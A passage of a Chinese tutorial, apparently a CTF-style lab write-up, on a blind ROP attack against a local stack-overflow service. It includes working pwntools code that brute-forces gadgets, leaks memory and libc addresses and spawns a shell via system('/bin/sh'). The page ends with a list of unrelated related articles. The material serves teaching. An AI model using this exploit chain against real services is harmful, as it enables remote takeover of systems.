下面,我们根据上面介绍的原理来得到对应的 brop gadgets 地址。构造如下,get_brop_gadget 是为了得到可能的 brop gadget,后面的 check_brop_gadget 是为了检查。

def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
            stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.startswith('WelCome'):
            return False
        return True
    except Exception:
        sh.close()
        return False


def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True


##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4006b6
addr = 0x400740
while 1:
    print hex(addr)
    if get_brop_gadget(length, stop_gadget, addr):
        print 'possible brop gadget: 0x%x' % addr
        if check_brop_gadget(length, addr):
            print 'success brop gadget: 0x%x' % addr
            break
    addr += 1

这样,我们基本得到了 brop 的 gadgets 地址 0x4007ba

确定 puts@plt 地址 ¶

根据上面,所说我们可以构造如下 payload 来进行获取

payload = 'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

具体函数如下

def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400000
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
            addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            content = sh.recv()
            if content.startswith('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1

最后根据 plt 的结构,选择 0x400560 作为 puts@plt

泄露 puts@got 地址 ¶

在我们可以调用 puts 函数后,我们可以泄露 puts 函数的地址,进而获取 libc 版本,从而获取相关的 system 函数地址与 / bin/sh 地址,从而获取 shell。我们从 0x400000 开始泄露 0x1000 个字节,这已经足够包含程序的 plt 部分了。代码如下

def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 9999)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
        puts_plt) + p64(stop_gadget)
    sh.recvuntil('password?\n')
    sh.sendline(payload)
    try:
        data = sh.recv()
        sh.close()
        try:
            data = data[:data.index("\nWelCome")]
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None


##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
addr = 0x400000
result = ""
while addr < 0x401000:
    print hex(addr)
    data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
    if data is None:
        continue
    else:
        result += data
    addr += len(data)
with open('code', 'wb') as f:
    f.write(result)

最后,我们将泄露的内容写到文件里。需要注意的是如果泄露出来的是 “”, 那说明我们遇到了'\x00',因为 puts 是输出字符串,字符串是以'\x00'为终止符的。之后利用 ida 打开 binary 模式,首先在 edit->segments->rebase program 将程序的基地址改为 0x400000,然后找到偏移 0x560 处,如下

seg000:0000000000400560                 db 0FFh
seg000:0000000000400561                 db  25h ; %
seg000:0000000000400562                 db 0B2h ;
seg000:0000000000400563                 db  0Ah
seg000:0000000000400564                 db  20h
seg000:0000000000400565                 db    0

然后按下 c, 将此处的数据转换为汇编指令,如下

seg000:0000000000400560 ; ---------------------------------------------------------------------------
seg000:0000000000400560                 jmp     qword ptr cs:601018h
seg000:0000000000400566 ; ---------------------------------------------------------------------------
seg000:0000000000400566                 push    0
seg000:000000000040056B                 jmp     loc_400550
seg000:000000000040056B ; ---------------------------------------------------------------------------

这说明,puts@got 的地址为 0x601018。

程序利用 ¶
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
    stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
    system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2203374.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

seL4 Faults(八)

Faults 学习什么是线程错误理解线程错误和处理器硬件错误是不同的理解什么是错误处理器理解内核对于一个有错误的线程做了什么了解如何设置内核将在其上传递故障消息的端点&#xff08;master与 MCS&#xff09;。在错误故障后学习如何恢复线程。 Background: What is a faul…

(21)Nakagami-m分布及其参数的意义

文章目录 前言一、Nakagami衰落的定义二、Nakagami衰落的形状参数m三、Nakagami衰落的尺度参数ω四、Nakagami随机变量的生成 前言 在无线信道中&#xff0c;由于电波的多径传播效应&#xff0c;接收到的信号强度会因为多条传播路径的相长或相消而发生起伏变化。这种现象被称为…

mysql迁移到达梦数据库报错:参数不兼容

1: 这个错误可能是某个字段‘定义超长’&#xff0c;尝试&#xff1a; 2: 如果还报错&#xff0c;指定和mysql同版本驱动

树状数组——学习心得

可以解决大部分区间上面的修改以及查询的问题&#xff0c;例如1.单点修改&#xff0c;单点查询&#xff0c;2.区间修改&#xff0c;单点查询&#xff0c;3.区间查询&#xff0c;区间修改&#xff0c;换言之&#xff0c;线段树能解决的问题&#xff0c;树状数组大部分也可以&…

全栈开发笔记

1.后端没问题 前端不显示返回数据&#xff1f; 返回数据被&#xff0c;axios拦截器拦截了 2.路径跳转显示空白&#xff1f; 没有配置router 3.后端部署到服务器上 无法通过外网访问接口&#xff1f; 检查服务器防火墙设置 即使服务监听正确&#xff0c;服务器本身的防火墙也可能…

【工作流引擎集成】springboot+Vue+activiti+mysql带工作流集成系统,直接用于业务开发,流程设计,工作流审批,会签

前言 activiti工作流引擎项目&#xff0c;企业erp、oa、hr、crm等企事业办公系统轻松落地&#xff0c;一套完整并且实际运用在多套项目中的案例&#xff0c;满足日常业务流程审批需求。 一、项目形式 springbootvueactiviti集成了activiti在线编辑器&#xff0c;流行的前后端…

前端_002_CSS扫盲

文章目录 概念选择器常用属性背景边框高度和宽度颜色文本字体链接表格里对齐显示相关溢出&#xff0c;滚动条属性 伪类和伪元素 概念 1.书写格式&#xff1a; 选择器{ 属性名:属性值 ; 属性名:属性值 ; } 2.文件后缀.css 选择器 元素选择器 [tag] id选择器 #[id_name] c…

西门子S7-SMART运动控制向导

打开“运动控制”向导&#xff0c;“工具”->“向导”->“运动控制” 图 1.打开“运动控制”向导 选择需要配置的轴 图 2.选择需要配置的轴 为所选择的轴命名 图 3.为所选择的轴命名 输入系统的测量系统&#xff08;“工程量”或者“脉冲数/转”&#xff…

开机启动项在哪里关闭?五个全面指南,教你关闭开机启动项!(新)

您是否发现您的电脑运行性能正在受一些无关紧要的应用程序所影响呢&#xff1f;也许您没有意识到&#xff0c;每当您登录电脑时&#xff0c;许多程序会在不知情的情况下自动启动。这些自动启动的程序不仅会拖慢系统的运行速度&#xff0c;还会占用大量的内存和cpu资源。为了改善…

QT:绘制事件和定时器

1.绘制时针 xx.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTimer> #include<QPainter> #include <QTime>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public QWidget {Q_OBJECTpubl…

YOLOv11进行图像与视频的目标检测

一、AI应用系统实战项目 项目名称项目名称1.人脸识别与管理系统2.车牌识别与管理系统3.手势识别系统4.人脸面部活体检测系统5.YOLOv8自动标注6.人脸表情识别系统7.行人跌倒检测系统8.PCB板缺陷检测系统9.安全帽检测系统10.生活垃圾分类检测11.火焰烟雾检测系统12.路面坑洞检测…

使用Qt Creator创建项目

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 使用Qt Creator创建项目 收录于专栏【Qt开发】 本专栏旨在分享学习Qt的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目录 温馨提示: 1. 新…

Fastjson反序列化

Fastjson反序列化一共有三条利用链 TempLatesImpl&#xff1a;实战中不适用JdbcRowSetImpl&#xff1a;实际运用中较为广泛BasicDataSource&#xff08;BCEL&#xff09; 反序列化核心 反序列化是通过字符串或字节流&#xff0c;利用Java的反射机制重构一个对象。主要有两种…

Spring Boot 进阶-详解Spring Boot与其他框架整合

通过前面的文章,我们了解到了Spring、Spring Boot框架都是为Java企业级开发提供了一个基础框架,我们可以通过这个基础框架去整合其他的框架来实现我们具体的业务功能。 在网站上搜索一下,Spring Boot整合某某框架就会出现大量的教程,但是总会有一天你会遇到一个你没有教程的…

jenkins中的allure和email问题梳理

一、allure相关 1、我安装了jenkins之后需要再安装allure吗&#xff1f;在jenkins插件中心直接安装allure 1.Allure Jenkins Plugin 只是一个集成插件&#xff0c;它要求你在 Jenkins 服务器上安装 Allure 命令行工具&#xff08;Allure Commandline&#xff09;来实际生成报…

真的有被Transformer多头注意力惊艳到…

在这篇文章中&#xff0c;我们将深入探讨 Transformer 的核心部分-多头注意力&#xff08;Multi-head Attention&#xff09;。 这个机制能让 Transformer 同时从多个角度理解数据&#xff0c;提高处理信息的能力和效率。 01、Transformer 中如何使用注意力机制 Transformer…

[数据结构]带头双向循环链表的实现与应用

文章目录 一、引言二、链表的基本概念1、链表是什么2、链表与顺序表的区别3、带头双向循环链表 三、带头双向循环链表的实现1、结构体定义2、初始化3、销毁4、显示5、增删查改 四、分析带头双向循环链表1、存储方式2、优点3、缺点 五、总结1、练习题2、源代码 一、引言 链表作…

修复PDF打印速度慢

详细问题&#xff1a; 当您尝试将 PDF 文件打印到本地或网络打印机时&#xff0c;打印需要很长时间&#xff0c;因为发送打印作业后&#xff0c;打印机开始打印的速度非常慢&#xff0c;在打印任务中可以看到打印传输的数据在缓慢增长。 从其他程序打印时也不会出现打印速度慢…

c++的web框架Restbed介绍及在嵌入式Linux下的移植详解

随着物联网和嵌入式设备的普及&#xff0c;开发高性能的网络服务变得愈发重要。Restbed是一个用于构建RESTful APIs的轻量级C框架&#xff0c;因其简洁而强大的特性&#xff0c;成为开发者的热门选择。本文将介绍Restbed框架及其在嵌入式Linux平台上的移植方法。 一、Restbed框…

东方博宜 1176. 素数问题

东方博宜 1176. 素数问题 #include<iostream> using namespace std; int main() { int n ;while(cin >> n && n!0) {int count_n ;count_n 0 ;int k ;for( k 1 ; k < n ; k){int count_k ;count_k 0 ;int j ;for( j 2 ; j < k ; j){if (k % j …